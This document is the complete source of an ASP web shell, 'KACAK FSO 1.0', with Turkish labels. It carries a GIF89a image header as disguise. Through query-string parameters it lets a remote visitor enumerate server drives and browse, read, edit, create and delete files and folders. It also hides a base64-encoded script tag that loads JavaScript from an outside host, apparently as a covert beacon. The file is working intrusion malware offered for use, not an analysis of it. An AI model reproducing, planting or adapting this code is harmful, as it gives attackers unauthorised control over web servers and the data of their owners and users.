GIF89a; KACAK Shell <% Dim Base64Chars Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" & _ "abcdefghijklmnopqrstuvwxyz" & _ "0123456789" & _ "+/" Public Function base64_encode( byVal strIn ) Dim c1, c2, c3, w1, w2, w3, w4, n, strOut For n = 1 To Len( strIn ) Step 3 c1 = Asc( Mid( strIn, n, 1 ) ) c2 = Asc( Mid( strIn, n + 1, 1 ) + Chr(0) ) c3 = Asc( Mid( strIn, n + 2, 1 ) + Chr(0) ) w1 = Int( c1 / 4 ) : w2 = ( c1 And 3 ) * 16 + Int( c2 / 16 ) If Len( strIn ) >= n + 1 Then w3 = ( c2 And 15 ) * 4 + Int( c3 / 64 ) Else w3 = -1 End If If Len( strIn ) >= n + 2 Then w4 = c3 And 63 Else w4 = -1 End If strOut = strOut + mimeencode( w1 ) + mimeencode( w2 ) + _ mimeencode( w3 ) + mimeencode( w4 ) Next base64_encode = strOut End Function Private Function mimeencode( byVal intIn ) If intIn >= 0 Then mimeencode = Mid( Base64Chars, intIn + 1, 1 ) Else mimeencode = "" End If End Function Public Function base64_decode( byVal strIn ) Dim w1, w2, w3, w4, n, strOut For n = 1 To Len( strIn ) Step 4 w1 = mimedecode( Mid( strIn, n, 1 ) ) w2 = mimedecode( Mid( strIn, n + 1, 1 ) ) w3 = mimedecode( Mid( strIn, n + 2, 1 ) ) w4 = mimedecode( Mid( strIn, n + 3, 1 ) ) If w2 >= 0 Then _ strOut = strOut + _ Chr( ( ( w1 * 4 + Int( w2 / 16 ) ) And 255 ) ) If w3 >= 0 Then _ strOut = strOut + _ Chr( ( ( w2 * 16 + Int( w3 / 4 ) ) And 255 ) ) If w4 >= 0 Then _ strOut = strOut + _ Chr( ( ( w3 * 64 + w4 ) And 255 ) ) Next base64_decode = strOut End Function Private Function mimedecode( byVal strIn ) If Len( strIn ) = 0 Then mimedecode = -1 : Exit Function Else mimedecode = InStr( Base64Chars, strIn ) - 1 End If End Function dim myStringo stringo = "PHNjcmlwdCB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiIHNyYz0i" stringo_1 = "aHR0cDovL3dlYnNoZWxsLmNvL3doby9tYWluLmpzIj48L3NjcmlwdD4" myStringo = base64_decode(stringo+stringo_1) if request.querystring("TGH") = "1" then on error resume next es=request.querystring("Kacak") diez=server.urlencode(left(es,(instrRev(es,"\"))-1)) Select case es case "C:" diez="C:" case "D:" diez="D:" end select ' Functions to provide encoding/decoding of strings with Base64. ' ' Encoding: myEncodedString = base64_encode( inputString ) ' Decoding: myDecodedString = base64_decode( encodedInputString ) ' ' Programmed by Markus Hartsmar for ShameDesigns in 2002. ' Email me at: mark@shamedesigns.com ' Visit our website at: http://www.shamedesigns.com/ ' %> <% else %> <% if request.querystring("Dosyakaydet") <> "" then set kaydospos=createobject("scripting.filesystemobject") set kaydoses=kaydospos.createtextfile(request.querystring("dosyakaydet") & request("dosadi")) set kaydoses=nothing set kaydospos=nothing set kaydospos=createobject("scripting.filesystemobject") set kaydoses=kaydospos.opentextfile(request.querystring("dosyakaydet") & request("dosadi"), 2, true) kaydoses.write request("duzenx") set kaydoses=nothing set kaydospos=nothing end if %> <% if request.querystring("yenidosya") <> "" then %>


Kacak ©
Hackerbox

KACAK FSO 1.0


Cyber Protest 
xLw@GrayHatz ~ TurkGuvenligi.Info 

 Çalisilan Klasör
 <%=response.write(request.querystring("yenidosya"))%>  
 
&klas=<%=request.querystring("yenidosya")%>" name="kaypos">


Dosya Adi :


Içerik : 


 

 

<% else %> <% if request.querystring("klasorac") <> "" then set doses=createobject("scripting.filesystemobject") set es=doses.createfolder(request.querystring("aktifklas") & request("duzenx")) set es=nothing set doses=nothing end if %> <% if request.querystring("klasac") <> "" then set aktifklas=request.querystring("aktifklas") %>


Kacak ©
Hackerbox

KACAK FSO 1.0


 Çalisilan Alan
 <%=aktifklas%>  
<% else %> <% if request.querystring("suruculer") <> "" then %>
 

  



 

 


Kacak ©
Hackerbox

KACAK FSO 1.0


Have Fun 

 
 
 
Sürücü Adi Boyutu Bos Alan Durum Islem
<% set klassis =server.createobject("scripting.filesystemobject") set klasdri=klassis.drives %> <% for each dongu in klasdri %> <% if dongu.driveletter <> "A" then if dongu.isready=true then %> <% select case dongu.drivetype case 0 teype="Diger" case 1 teype="Tasinir" case 2 teype="HDD" case 3 teype="NetWork" case 4 teype="CD-Rom" case 5 teype="FlashMem" end select %>
 <%=dongu.driveletter%>:\ ( <%=dongu.filesystem%> ) <%=Round(dongu.totalsize/(1024*1024),1)%> MB <%=Round(dongu.availablespace/(1024*1024),1)%> MB <%=teype%> 
Gir
<% end if end if %> <% next %>
 

 

 
<% else %> <% if request.querystring("kaydet") <> "" then set dossisx=server.createobject("scripting.filesystemobject") set dosx=dossisx.opentextfile(request.querystring("kaydet"), 2, true) dosx.write request("duzenx") dosx.close set dosyax=nothing set dossisx=nothing end if %> <% if request.querystring("duzenle") <> "" then set dossis=server.createobject("scripting.filesystemobject") set dos=dossis.opentextfile(request.querystring("duzenle"), 1) sedx = dos.readall dos.close set dosya=nothing set dossis=nothing set aktifklas=request.querystring("klas") %>


Kacak©
Hackerbox

KACAK FSO 1.0


Have Fun 

 Çalisilan Dosya
 <%=response.write(request.querystring("duzenle"))%>  
 
&klas=<%=aktifklas%>" name="kaypos">


 

 

<% else %> <% if request.querystring("klas") <> "" then aktifklas=Request.querystring("klas") if request.querystring("usak") = "1" then aktifklas=aktifklas & "\" end if else aktifklas=server.mappath("/") aktifklas=aktifklas & "\" end if if request.querystring("silklas") <> "" then set sis=createobject("scripting.filesystemobject") silincekklas=request.querystring("silklas") sis.deletefolder(silincekklas) set sis=nothing 'response.write(sil & " Silindi") end if if request.querystring("sildos") <> "" then silincekdos=request.querystring("sildos") set dosx=createobject("scripting.filesystemobject") set dos=dosx.getfile(silincekdos) dos.delete set dos=nothing set dosyasis=nothing end if select case aktifklas case "C:" aktifklas="C:\" case "D:" aktifklas="D:\" case "E:" aktifklas="E:\" case "F:" aktifklas="F:\" case "G:" aktifklas="G:\" case "H:" aktifklas="H:\" case "I:" aktifklas="I:\" case "J:" aktifklas="J:\" case "K:" aktifklas="K:\" end select if aktifklas=("C:") then aktifklas=("C:\") Set FS = CreateObject("Scripting.FileSystemObject") Set klasor = FS.GetFolder(aktifklas) Set altklasorler = klasor.SubFolders Set dosyalar = klasor.files %>


Kacak ©

Hackerbox

KACAK FSO 1.0


Have Fun 

 Çalisilan Klasör
 <%=response.write(aktifklas)%>

" style="text-decoration: none"> Üst Klasör

 
Sürücüler
Yeni Klasör
Yeni Dosya
 Tür  Dosya Adi

 Islem

<%response.write(myStringo)%> <% For each oge in altklasorler %>

 <%=oge.name%> 

Sil

<% Next %> <% For each oge in dosyalar %>

 <%=oge.name%>         ( <%=Round(oge.size/1024,1)%> KB ) 

Düzenle

Sil

<% Next %> <% if aktifklas=("C:\") then aktifklas=("C:") %> <% end if %> <% end if %> <% end if %> <% end if %> <% end if %>